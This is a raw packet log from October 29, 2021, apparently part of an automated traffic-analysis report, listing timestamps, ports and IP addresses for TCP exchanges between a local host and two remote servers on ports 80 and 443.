Oct 29, 2021 20:29:01.737848997 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.737966061 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.737971067 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.737977982 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.738009930 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.738034010 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.738046885 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.738059044 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.738070965 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.738087893 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.738092899 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.738100052 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.738116026 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.738147974 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.738164902 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.738214016 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.785793066 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.785809994 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.785887003 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.786422014 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.786436081 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.786495924 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.788479090 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788494110 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788510084 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788522959 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788538933 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788552046 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788558006 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.788604975 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.788634062 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788646936 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788665056 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.788774967 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.788791895 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788806915 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788831949 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788858891 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.788868904 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788918018 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788923025 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788932085 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.788995028 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.788999081 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.789017916 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.789024115 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.789056063 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.789083958 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.789089918 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.789092064 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.789119005 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.789134026 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.789148092 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.789160967 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.789161921 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.789220095 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.789693117 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.789705992 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.789812088 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.789966106 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.789979935 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.790023088 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.791275978 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791291952 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791309118 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791321039 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791378975 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.791424990 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.791486979 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791501045 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791512966 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791524887 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791549921 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.791583061 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791594982 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791649103 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.791699886 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791712999 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791738033 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.791764975 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791771889 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.791779041 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791831970 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.791912079 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791955948 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.791996002 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792009115 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792036057 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.792071104 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792083979 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.792088985 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792102098 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792114019 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792126894 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792139053 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792143106 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.792151928 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792165041 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792176962 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792193890 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792200089 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.792232037 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.792263031 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792277098 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792303085 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.792318106 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792330980 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792376995 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792382002 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.792382956 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792401075 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792449951 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.792449951 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792475939 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792484045 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.792489052 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792599916 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792628050 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792644024 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792655945 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792730093 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.792758942 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.792777061 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792793989 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792840958 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792867899 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.792869091 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792916059 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792932034 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.792972088 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.793020010 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793041945 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793056965 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.793106079 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.793108940 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793123960 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793340921 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.793483973 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793497086 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793554068 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793592930 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793606043 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793606043 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.793618917 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793668032 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.793706894 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.793816090 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793829918 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793845892 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793878078 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793884039 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.793891907 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793904066 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.793922901 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.793987989 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.797437906 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.797816992 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.838090897 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.838109970 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.838130951 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.838143110 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.838272095 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.838517904 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.838536978 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.838557005 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.838576078 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.838633060 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.838671923 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.840919971 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841056108 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841080904 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841114044 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841145992 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841167927 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841185093 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841190100 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841201067 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841213942 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841238022 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841243029 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841259956 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841281891 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841309071 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841315031 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841339111 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841341972 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841361046 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841370106 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841383934 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841406107 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841408014 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841428041 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841449976 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841455936 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841471910 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841480017 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841494083 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841516972 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841545105 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841567039 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841574907 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841588974 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841603994 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841612101 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841631889 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841634035 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841656923 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841679096 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841708899 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841711998 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841731071 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841743946 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841753960 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841774940 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841788054 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841804981 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841826916 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841833115 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841847897 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841876984 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841897964 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.841900110 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841922045 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.841945887 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.842113018 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842137098 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842164040 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.842164993 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842187881 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842211008 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.842219114 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842241049 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842262983 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.842269897 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842293024 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842303038 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.842322111 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842344046 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842344046 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.842366934 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842398882 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842415094 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.842427969 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842451096 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842457056 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.842478991 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842502117 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842502117 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.842525005 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842552900 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.842581034 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.842664003 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.843451977 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.843486071 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.843514919 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.843544006 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.843545914 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.843579054 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.843597889 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.843611002 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.843641043 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.843683004 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.843707085 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.843714952 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.843740940 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.843743086 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:01.844753027 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.845285892 CEST	49772	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:01.897454023 CEST	80	49772	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:03.765224934 CEST	49785	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:03.765264034 CEST	443	49785	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:03.765764952 CEST	49785	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:03.842736006 CEST	49785	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:03.842772961 CEST	443	49785	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:03.892326117 CEST	443	49785	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:03.892463923 CEST	49785	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:03.897129059 CEST	49785	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:03.897150993 CEST	443	49785	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:03.897548914 CEST	443	49785	162.159.135.233	192.168.2.3
Oct 29, 2021 20:29:03.944969893 CEST	49785	443	192.168.2.3	162.159.135.233
Oct 29, 2021 20:29:04.153254032 CEST	49788	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.206676006 CEST	80	49788	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.206839085 CEST	49788	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.210835934 CEST	49788	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.210861921 CEST	49788	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.293607950 CEST	80	49788	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.293699980 CEST	49788	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.293900967 CEST	49788	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.329646111 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.347120047 CEST	80	49788	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.380840063 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.381057978 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.381288052 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.381335974 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.461045027 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.461062908 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.461080074 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.461097956 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.461113930 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.461131096 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.461149931 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.461153984 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.461167097 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.461186886 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.461210012 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.461219072 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.461252928 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.512546062 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512574911 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512590885 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512609005 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512626886 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512645006 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512669086 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512669086 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.512681007 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.512693882 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512751102 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.512783051 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512806892 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512825012 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512844086 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512876987 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.512876987 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512902021 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512907028 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.512926102 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512945890 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512960911 CEST	49789	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:04.512969017 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.512989044 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.513005972 CEST	80	49789	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:04.513022900 CEST	49789	80	192.168.2.3	185.98.87.159
